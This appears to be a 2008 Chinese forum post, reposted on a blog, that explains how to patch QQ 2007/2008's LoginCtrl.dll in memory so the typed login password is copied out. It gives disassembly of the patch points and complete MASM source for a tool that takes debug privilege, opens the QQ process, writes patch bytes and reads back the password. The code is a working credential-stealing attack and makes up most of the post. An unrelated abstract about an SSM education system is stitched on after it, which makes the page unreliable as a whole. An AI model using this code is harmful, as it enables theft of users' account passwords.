修改QQ执行顺序,获取QQ2008最新版密

本文介绍了一种通过修改QQ执行顺序来获取QQ2008最新版密码的方法。利用ASM代码对特定地址进行改写,实现了密码的读取,并通过对话框展示密码。
作 者: 4st0ne
时 间: 2008-03-20,10:28
链 接: http://bbs.pediy.com/showthread.php?t=61577

本文参考于open[xgc]大侠的"利用Debug Api 获得QQ2007密码",我只是换了语言换了方法,其实思路还是一样的.再次对open[xgc]表示感谢.

标 题: 修改QQ执行顺序,获取QQ2008最新版密码
作 者: sLtYJ(4stone)
版权声明: 本文纯属技术交流, 转载请注明作者并保持文章的完整, 谢谢!

参考open[xgc]大侠的文章,找到2007 7.1.643.400版及2008 8.0.714.201版本QQ的密码出现点,修改代码跳转至空白位置,然后将代码按个写入自己找到的空白位置即可.

列出2007办部分修改后的代码:
021A638A  |> /43            /INC EBX
021A638B  |. |6A 01         |PUSH 1
021A638D  |. |8BC3          |MOV EAXEBX
021A638F  |. |0FAFC6        |IMUL EAXESI
021A6392     |8A4C08 FF     MOV CLBYTE PTR DS:[EAX+ECX-1]
021A6396     |E9 4F240100   JMP LoginCtr.021B87EA  //修改点,跳至空白点
021A639B     |90            NOP
021A639C     |90            NOP
021A639D     |90            NOP
021A639E     |90            NOP
021A639F     |90            NOP
021A63A0  |. |50            |PUSH EAX
021A63A1     |884D D4       MOV BYTE PTR SS:[EBP-2C], CL
021A63A4     |E8 4AD30000   CALL LoginCtr.021B36F3
021A63A9  |. |8B57 44       |MOV EDXDWORD PTR DS:[EDI+44]
021A63AC  |. |83C4 0C       |ADD ESP, 0C
021A63AF  |. |8B0A          |MOV ECXDWORD PTR DS:[EDX]
021A63B1  |. |8B72 0C       |MOV ESIDWORD PTR DS:[EDX+C]
021A63B4  |. |8B41 F8       |MOV EAXDWORD PTR DS:[ECX-8]
021A63B7  |. |99            |CDQ
021A63B8  |. |F7FE          |IDIV ESI
021A63BA     |3BD8          CMP EBXEAX
021A63BC    ^/7C CC         JL SHORT LoginCtr.021A638A

补上自己的代码:
021B87EA      52            PUSH EDX
021B87EB      BA 56CC1200   MOV EDX, 12CC56
021B87F0      03D3          ADD EDXEBX    //借用QQ程序本身的EBX计数器
021B87F2      36:880A       MOV BYTE PTR SS:[EDX], CL   //向12CC56开始逐个写入密码
021B87F5      5A            POP EDX
021B87F6      8D45 D4       LEA EAXDWORD PTR SS:[EBP-2C]
021B87F9      50            PUSH EAX
021B87FA      8D85 58FFFFFF LEA EAXDWORD PTR SS:[EBP-A8]
021B8800    ^ E9 9BDBFEFF   JMP LoginCtr.021A63A0  //跳回原处继续执行
021B8805      90            NOP


用ASM代码实现如下:

GetQQpwd.Asm
引用:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Dialog.asm
; 对话框资源使用的模板代码
    .386
    .model flatstdcall
    option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    GetQQpwd.inc
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
StrLen PROC uses edi String:DWORD
        mov edi,String
        mov al,0
        mov ecx,0FFFFFFFFh
        repne scasb
        sub ecx,0FFFFFFFFh
        neg ecx
        dec ecx
        mov eax,ecx
        ret
StrLen ENDP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    权限提升
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnablePrivilege proc szPriv:DWORD, bFlags:DWORD
    LOCAL      hToken
    LOCAL       tkp : TOKEN_PRIVILEGES

    invoke     GetCurrentProcess
    mov       edxeax
    invoke     OpenProcessToken, edx, TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, addr hToken
    invoke     LookupPrivilegeValue, NULL, szPriv, addr tkp.Privileges.Luid
    mov      tkp.PrivilegeCount, 1
    xor       eaxeax

    .if     bFlags
          mov    eax, SE_PRIVILEGE_ENABLED
    .endif

    mov       tkp.Privileges.Attributes, eax
    invoke     AdjustTokenPrivileges, hToken, FALSEaddr tkp, 0, 0, 0
    push       eax
    invoke     CloseHandle, hToken
    pop       eax

    ret
_EnablePrivilege endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcTimer    proc    uses ebx edi esi _hWnd,_uMsg,_idEvent,_dwTime

        .if    !hQQ
            invoke    FindWindowA,ctxt("#32770"),ctxt("QQ用户登录")
            .if    eax
                invoke    GetWindowThreadProcessId,eax,addr QQpid
                invoke    OpenProcess,PROCESS_ALL_ACCESS,FALSE,QQpid
                mov    hQQ,eax
                invoke    SetWindowText,hWinMain,ctxt("QQ已启动-请输入密码并点登录")
                invoke      CreateToolhelp32Snapshot,TH32CS_SNAPALL,QQpid
                mov         hSnapShot,eax
                mov         myModule.dwSize, sizeof myModule
                invoke    Module32First,hSnapShot,addr myModule
                jmp    Cmp1
            NextModule:
                invoke    Module32Next,hSnapShot,addr myModule
            Cmp1:
                invoke    lstrcmp,addr myModule.szModule,ctxt("LoginCtrl.dll")
                cmp    eax,0
                jnz     NextModule
                mov    ebx,myModule.modBaseAddr
                add    ebx,16396h;2008:16DE0h,2007:16396h
                invoke    ReadProcessMemory,hQQ,ebx,addr dbOldBytes,2,NULL
                mov    ax,word ptr dbOldBytes
                .if    ax == word ptr db2007
                    invoke    WriteProcessMemory,hQQ,ebx,addr dbPatched1,10,NULL
                    add    ebx,12454h;2008:134EAh 2007:12454h
                    invoke    WriteProcessMemory,hQQ,ebx,addr dbPatched2,28,NULL
                    invoke    WriteProcessMemory,hQQ,12B000h,0,16,NULL
                .elseif    ax == word ptr db2008
                    add    ebx,0A4Ah
                    invoke    WriteProcessMemory,hQQ,ebx,addr dbPatched3,10,NULL
                    add    ebx,134EAh
                    invoke    WriteProcessMemory,hQQ,ebx,addr dbPatched4,27,NULL
                    invoke    WriteProcessMemory,hQQ,12B000h,addr dbNull,16h,NULL
                .endif
            .endif
        .else
            invoke    ReadProcessMemory,hQQ,12B000h,addr QQpwd,sizeof QQpwd,NULL
            invoke    StrLen,addr QQpwd
            .if    eax
                invoke    SetDlgItemText,hWinMain,IDC_EDT1,addr QQpwd
                invoke    WriteProcessMemory,hQQ,12B000h,addr dbNull,16h,NULL
            .endif
                invoke    FindWindow,ctxt("#32770"),ctxt("QQ用户登录")
            .if    !eax
                mov    hQQ,0
                invoke    SetWindowText,hWinMain,ctxt("QQ未运行")
            .endif
        .endif
        ret

_ProcTimer    endp
_ProcDlgMain    proc    uses ebx edi esi hWnd,wMsg,wParam,lParam

        mov    eax,wMsg
        .if    eax == WM_COMMAND
            mov    eax,wParam
            .if    ax == IDC_btExit
                invoke    EndDialog,hWnd,NULL
            .endif
        .elseif    eax == WM_CLOSE
            invoke    EndDialog,hWnd,NULL
        .elseif    eax == WM_INITDIALOG
            invoke    LoadIcon,hInstance,ICO_MAIN
            invoke    SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
            invoke    SetTimer,NULL,NULL,1000,addr _ProcTimer
            mov    idTimer,eax
            push    hWnd
            pop    hWinMain
            invoke     _EnablePrivilege,ctxt("SeDebugPrivilege"), TRUE
            invoke    SendDlgItemMessage,hWnd,IDC_EDT1,EM_SETREADONLY,TRUE,0
            invoke      SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE
        .else
            mov    eax,FALSE
            ret
        .endif
        mov    eax,TRUE
        ret

_ProcDlgMain    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
        invoke    GetModuleHandle,NULL
        mov    hInstance,eax
        invoke    InitCommonControls
        invoke    DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
        invoke    ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        end    start
GetQQpwd.inc
引用:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include        windows.inc
include        user32.inc
includelib        user32.lib
include        kernel32.inc
includelib        kernel32.lib
include        advapi32.inc
includelib        advapi32.lib
include        comctl32.inc
includelib        comctl32.lib
include        psapi.inc
includelib        psapi.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ID_TIMER1    equ    10
DLG_MAIN    equ    1
IDC_EDT1        equ     2
ICO_MAIN     equ    99
IDC_btExit    equ    1000
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
        .data?

hInstance        dd        ?
hWinMain        dd        ?
idTimer        dd        ?
QQpid        dd        ?
hQQ        dd        ?
modArr        db        1024 dup(?)
dwNumMod    dd        ?
myModule                 MODULEENTRY32  <>
hSnapShot    dd        ?
QQpwd        db        22 dup(?)
dbOldBytes    db        2 dup (?)

        .data
        
db2007        db        8Dh,45h
db2008        db        6Ch,88h    
dbPatched1    db        0E9h,4Fh,24h,01h,00h,90h,90h,90h,90h,90h
dbPatched2    db        52h, 0BAh, 0FFh, 0AFh, 12h, 00h, 03h, 0D3h, 36h, 88h, 0Ah, 5Ah, 8Dh, 45h, 0D4h, 50h, 8Dh, 85h, 58h, 0FFh, 0FFh, 0FFh, 0E9h, 9Bh, 0DBh, 0FEh, 0FFh, 90h
dbPatched3    db        0E9h, 0E5h, 34h, 01h, 00h, 90h, 90h, 90h, 90h, 90h
dbPatched4    db        52h, 0BAh, 0FFh, 0AFh, 12h, 00h, 03h, 0D3h, 36h, 88h, 0Ah, 5Ah, 8Dh, 45h, 0D4h, 50h, 8Dh, 85h, 58h, 0FFh, 0FFh, 0FFh, 0E9h, 05h, 0CBh, 0FEh, 0FFh
dbNull        db        00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h
注:刚学ASM不久,代码可能显得很乱很烦,各位看官多多包涵.
随着信息技术在管理上越来越深入而广泛的应用,作为学校以及一些培训机构,都在用信息化战术来部署线上学习以及线上考试,可以与线下的考试有机的结合在一起,实现基于SSM的小码创客教育教学资源库的设计与实现在技术上已成熟。本文介绍了基于SSM的小码创客教育教学资源库的设计与实现的开发全过程。通过分析企业对于基于SSM的小码创客教育教学资源库的设计与实现的需求,创建了一个计算机管理基于SSM的小码创客教育教学资源库的设计与实现的方案。文章介绍了基于SSM的小码创客教育教学资源库的设计与实现的系统分析部分,包括可行性分析等,系统设计部分主要介绍了系统功能设计和数据库设计。 本基于SSM的小码创客教育教学资源库的设计与实现有管理员,校长,教师,学员四个角色。管理员可以管理校长,教师,学员等基本信息,校长角色除了校长管理之外,其他管理员可以操作的校长角色都可以操作。教师可以发布论坛,课件,视频,作业,学员可以查看和下载所有发布的信息,还可以上传作业。因而具有一定的实用性。 本站是一个B/S模式系统,采用Java的SSM框架作为开发技术,MYSQL数据库设计开发,充分保证系统的稳定性。系统具有界面清晰、操作简单,功能齐全的特点,使得基于SSM的小码创客教育教学资源库的设计与实现管理工作系统化、规范化。
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值